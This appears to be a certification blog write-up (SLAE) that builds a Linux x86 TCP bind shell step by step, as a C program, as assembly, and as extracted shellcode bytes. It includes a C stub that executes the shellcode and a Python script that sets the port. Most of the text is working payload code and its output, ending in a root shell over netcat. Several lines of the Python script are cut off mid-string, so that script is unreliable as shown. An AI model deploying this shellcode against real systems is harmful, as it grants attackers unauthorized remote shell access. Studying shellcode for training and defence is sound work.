README

Brett Lischalk

December 21, 2016

Contents

1 Assignment 1

This blog post has been created for completing the requirements fo the SecurityTube Linux Assembly Expert certification: `http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert`

Student ID: SLAE-824

1.1 Requirements

- Create a Shell Bind TCP shellcode
  - Bind to a port
  - Execs Shell on incoming connection
- Port number should be easily configurable

1.2 Strategy

My approach to building a tcp bind shell shellcode will be to:

- Create a C program which illustrates the basic functionality
- Analyze the C program system calls to see how the program interacts with the kernel to accomplish its tasks
- Lookup the system calls and see what arguments and structures they take
- Attempt to write some assembly that calls the same system calls in the same order with the same arguments as the C program does
- Debug issues as of course there will be :)

1.3 The Source Code

The source code and tools referenced in this article can be found here: The Source Code and Tools

1.4 The C program

From my experience playing around with socket programming in C and Python, there is a basic formula and group of function calls for creating clients and servers. Most of them will be useful to us. A couple won't be applicable to our situation. The functions we will find useful are:

- Socket: Open a socket over which we will communicate. Essentially a file descriptor
- Bind: Bind our socket to an interface on our system
- Listen: Tell our system that we are ready to start accepting connections
- Accept: Accept the connection. This is a necessary next step as listen will generally queue up connections in anticipation of them being accepted

Functions we won't worry about:

- Send
- Recv
- Connect
- Close

We won't worry about send or recv because they are used for managing the flow of data coming in and out and acting accordingly. We are instead going to just redirect stdin, stdout, and stderr over the socket using a function called dup2 and not worry about managing the flow of data. Since we aren't connecting to another system/server we don't need to worry about connect. And as for close, it is generally good practice to close files after your done with them but one leaked file descriptor won't hurt anyone right? We need to trim the fat!

The final step after we get our redirection going is we just need to run a program, in our case `/bin/sh` and its output and input should be connected to our socket. We can run this program using `execve`.

So lets get some code going!

```
#include <stdio.h>
#include <netinet/in.h>
#define PORT 4444

int main(int argc, char **argv) {
  // Create a socket
  int lsock = socket(AF_INET, SOCK_STREAM, 0);

  // Setup servr side config struct
  // We configure:
  // The family:IPv4
  // The interface: 0.0.0.0 (any)
  // The port: port#
  struct sockaddr_in config;
  config.sin_family = AF_INET;
  config.sin_addr.s_addr = INADDR_ANY;
  // The htons() function converts the
  // unsigned short integer hostshort from host byte
  // order to network byte order.
  config.sin_port = htons(PORT);

  // Bind the created socket with the interface
  // specified in the configuration
  bind(lsock, (struct sockaddr *)&config, sizeof(config));

  // Listen on the socket
  listen(lsock, 0);
```

```
    // Accept the incoming connection
    int csock = accept(lsock, NULL, NULL);

    // Redirect stdin, stdout, and stderror
    dup2(csock, 0);
    dup2(csock, 1);
    dup2(csock, 2);

    // Execute a shell
    execve("/bin/sh", NULL, NULL);
};
```

Compiling this code with `gcc bindshell.c -o bindshell` gives us a nice executable. Running the executable with `./bindshell` and then looking at our network using `netstat -antp` yields something very interesting...

```
root@blahblah:~# netstat -atp Active Internet connections (servers and
established) Proto Local Address Foreign Address State PID/Program
name tcp *:4444 *:* LISTEN 1657/bindshell
```

Excellent! We have /bin/sh listen bound to a port. If we open up another terminal and use netcat to connect to port 4444 by running `nc -nv -nv 127.0.0.1 4444` we will get:

```
root@blahblah:~# nc -nv 127.0.0.1 4444 (UNKNOWN) [127.0.0.1] 4444 (?)
open id uid=0(root) gid=0(root) groups=0(root)
```

Perfect! We have a tcp bind shell connection. Now we have to convert this to assembly...

1.5 Analysis of the C program

We can use a tool called `strace` to help us learn more about what system calls our bind shell c program is making. Running `strace ./bindshell`, connecting to the bindshell with `nc -nv 127.0.0.1 4444` and filtering out the noise we will see:

```
root@blahblah:~/shared/SLAE/slae/exercise1# strace ./bindshell
execve("./bindshell", ["./bindshell"], [/* 41 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
```

```
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) =
listen(3, 0)                            = 0
accept(3,
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", [0], [/* 0 vars */])  = 0
```

Ok. It looks like our code makes some system calls that seem to align with the functions we know to be part of our socket programming formula along with the stdin, stdout, and stderror redirection and our `execve` call to run /bin/sh.

Lets lookup the system calls to find out their system call numbers. We will consult `/usr/include/i386-linux-gnu/asm/unistd_32.h` for these numbers...

When we consult the listing of syscalls we encounter a bit of confusion. The only system calls that seem to closely match up with what we saw in our strace are:

```
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
#define __NR_mbind 274
```

This is strange. `execve` and `dup2` look good but there doesn't seem to be any syscall numbers for socket,listen, or accept. socketcall seems a bit odd as does mbind so we will have to look into this.

Consulting `man socketcall` we learn:

```
int socketcall(int call, unsigned long *args);

/**
socketcall() is a common kernel entry point for the socket system
calls.  call determines which socket function to invoke.  args points
to a block containing the actual arguments, which are passed through
to the appropriate call.

User programs should call the appropriate functions by their usual
names.  Only standard library implementors and kernel hackers need to
know about socketcall().
**/
```

So that seems to explain things a little bit. The first argument to socketcall is a number that represents the actual socket api function that we want to be calling. Ok... Where do we get the number associated with each of the api calls?

A little Google search for socketcall call numbers brings us:

socketcall call numbers

In this blog post we confirm our knowledge about the first argument of socketcall as well as learn about `/usr/include/linux/net.h`

Lets checkout that file and see if we can learn the numbers we are looking for.

```
#define SYS_SOCKET  1   /* sys_socket(2)    */
#define SYS_BIND    2   /* sys_bind(2)      */
#define SYS_CONNECT 3   /* sys_connect(2)   */
#define SYS_LISTEN  4   /* sys_listen(2)    */
#define SYS_ACCEPT  5   /* sys_accept(2)    */
// ... snip
```

So it looks like the `mbind` syscall we saw earlier might not be necessary as it looks like there is a `bind` syscall number that we can call with `socketcall`. We'll try that out and see how that goes.

Now that we know the syscalls and their corresponding numbers, we need to figure out their function signatures so that we know what sort of arguments we need to be passing to them when we invoke them. The metnod signatures look like the following:

```
int socketcall(int call, unsigned long *args);
int socket(int domain, int type, int protocol);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
int dup2(int oldfd, int newfd);
int execve(const char *filename, char *const argv[], char *const envp[]);
// ... snip
```

We also leveraged 2 structs in our C program which we will most likely need to replicate.

```
#include <netinet/in.h>

// All pointers to socket address structures are often cast to pointers
```

```
// to this type before use in various functions and system calls:

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};


// IPv4 AF_INET sockets:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};
```

Ok... Using what we have gathered from our analysis lets take an attempt at writing some assembly!

1.6 Assembly: Take 1

Lets lookup some values of constants:

```
~/usr/src/linux-headers-4.0.0-kali1-common/include/linux/socket.h~

#define AF_INET   2 /* Internet IP Protocol   */
```

I had a hard time finding where `SOCK_STREAM` was defined so we use a little gcc magic to see what the macro expands to:

```
root@blahblah:~/shared/SLAE/slae/exercise1# gcc -DN -E bindshell.c | grep SOCK_STREAM
SOCK_STREAM = 1,
int lsock = socket(2, SOCK_STREAM, 0);

#define INADDR_ANY ((unsigned long int) 0x00000000)

global _start
;; Note: We will store 2 file descriptors along the way
;; We will put the listening socket file descriptor in edi
;; We will put the connection socket file descriptor in ebx
```

```
section .text
  _start:
    ;; Create a socket
    ;; int socketcall(int call, unsigned long *args);
    ;; int socket(int domain, int type, int protocol);
    ;; #define SYS_SOCKET 1   /* sys_socket(2)    */
    ;; Use socketcall to call down to socket
    xor eax, eax
    mov al, 0x66 ; socketcall syscall
    xor ebx, ebx
    mov bl, 0x1 ; sys_socket syscall number

    ;; Put the socket() args on the stack
    xor ecx, ecx
    push ecx ; Specify protocol as 0
    push ebx ; SOCK_STREAM is the type of socket 1
    push 0x2 ; Domain af_inet sets protocol family to ip protocol 2

    mov ecx, esp ; Save pointer to args for the socket() call
    int 0x80 ; call sys_socket

    ; Save the returned listening socket file descriptor
    xor edi, edi
    mov edi, eax

    ;; Bind the socket
    ;; Use socketcall to call down to socket
    xor eax, eax
    mov al, 0x66 ; socketcall syscall
    xor ebx, ebx
    mov bl, 0x2 ; sys_bind syscall number

    ;; Start building the sockaddr_in structure
    ;; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; sin_addr=0 (INADDR_ANY)
    ; INADDR_ANY Accept on any interface 0x00000000
    xor ecx, ecx
    push ecx
```

```
;; 4444 is 0x115c in little endian. Network byte order is
;; Big endian so we swap the byte ordering
push word 0x5c11 ; sin_port=4444 (network byte order)
push word bx     ; sin_family=AF_INET (0x2)
mov ecx, esp     ; move pointer to sockaddr_in structure

;; In the initial code we use sizeof to derive the addrlen
;; If we print the results of that we get 0x10 which is 16 bytes
push 0x10 ;addrlen=16
push ecx  ;struct sockaddr pointer
push edi  ;sockfd
mov ecx, esp ;save pointer to bind() args
int 0x80 ; call sys_bind

;; Call listen and prepare for accepting connections
xor eax, eax
mov al, 0x66 ; socketcall syscall
xor ebx, ebx
mov bl, 0x4 ; sys_listen syscall number

;; Place listen's arguments on the stack
xor ecx, ecx
push ecx ; backlog we set to zero
push edi ; push the socket file descriptor
mov ecx, esp ; place a pointer to the args in ecx
int 0x80 ; call sys_listen

;; Call accept
xor eax, eax
mov al, 0x66 ; socketcall syscall
xor ebx, ebx
mov bl, 0x5 ; sys_accept syscall number
;; Place accept's arguments on the stack
;; We don't need a peer socket???... so we
;; use nulls for addrlen and sockaddr struct
xor ecx, ecx
push ecx ; Push NULL (0x00000000) for addrlen
push ecx ; Push NULL (0x00000000) for sockaddr struct
push edi ; Push the listening sockets file descriptor
mov ecx, esp ; place a pointer to the args in ecx
```

```
    int 0x80 ; call sys_accept

    ;; Save the returned connection socket file descriptor
    xor ebx, ebx
    mov ebx, eax

    ;; Call dup2 for stdin, stdout, and stderr in a loop
    xor ecx, ecx
    mov cl, 0x2 ;loop counter
  dup2:
    mov al, 0x3f ;dup2
    int 0x80
    dec ecx
    jns dup2

    ;; Call execve
    xor eax, eax
    mov al, 0xb ;execve
    xor ebx, ebx
    push ebx
    push 0x68732f2f ;"sh//"
    push 0x6e69622f ;"nib/"
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    int 0x80
```

When we compile the above shellcode using the compile.sh script below:

```
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
```

```
root@blahblah:~/shared/SLAE/slae/exercise1# ./compile.sh bindshellasm
```

And run the shellcode using:

```
root@blahblah:~/shared/SLAE/slae/exercise1# ./bindshellasm
```

And connect using netcat:

```
#!/bin/bash
root@blahblah:~/shared/SLAE/slae/exercise1# nc -nv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=0(root) gid=0(root) groups=0(root)
```

Bingo! Our assembly works and gives us a tcp bind shell. Now we need to test it in our c program stub. We will use some command line fu to get the opcodes from our binary:

```
root@funos:~/shared/SLAE/slae/exercise1# objdump -d ./bindshellasm|grep '[0-9a-f]:'| \
grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '\
|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
"\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
"\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
"\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
```

We add our opcodes to a stub tester C program:

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
"\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
"\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
"\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80";


main()
```

```
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}
```

Compile with: `gcc shellcode.c -o shellcode` Run with: `./shellcode` Connect with: `nc -nv 127.0.0.1 4444`

And it works! We get our shell. The shellcode is 122 bytes without really trying to optimize. We can always go back and try to optimize. We also need to update the program to make the port number easily configurable.

Let's write a wrapper script to set our port. We just accept the port as a command line argument to our script and interpolate it into our shellcode and print out the result:

```
#!/usr/bin/python

import sys

if len(sys.argv) != 2:
  print "Fail!"

port_number     = int(sys.argv[1])
bts             = [port_number >> i & 0xff for i in (24,16,8,0)]
filtered        = [b for b in bts if b > 0]
formatted       = ["\\x" + format(b, 'x') for b in filtered]
joined          = "".join(formatted)

shellcode ="\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x53\\x6a\\x02\\x89
shellcode+="\\xcd\\x80\\x31\\xff\\x89\\xc7\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x02\\x3
shellcode+="\\x51\\x66\\x68" + joined + "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57"
shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x04\\x31\\xc9\\x5
shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x05\\x31\\xc9\\x5
shellcode+="\\x57\\x89\\xe1\\xcd\\x80\\x31\\xdb\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3
shellcode+="\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x7
shellcode+="\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80"
```

```
print(shellcode)
```

Once we have our script we print out our updated shellcode and pop it back into our shellcode.c stub program, compile and test a connection. When we do, we get our shell again. And even better, we can change the port to whatever we would like to yield the proper shellcode.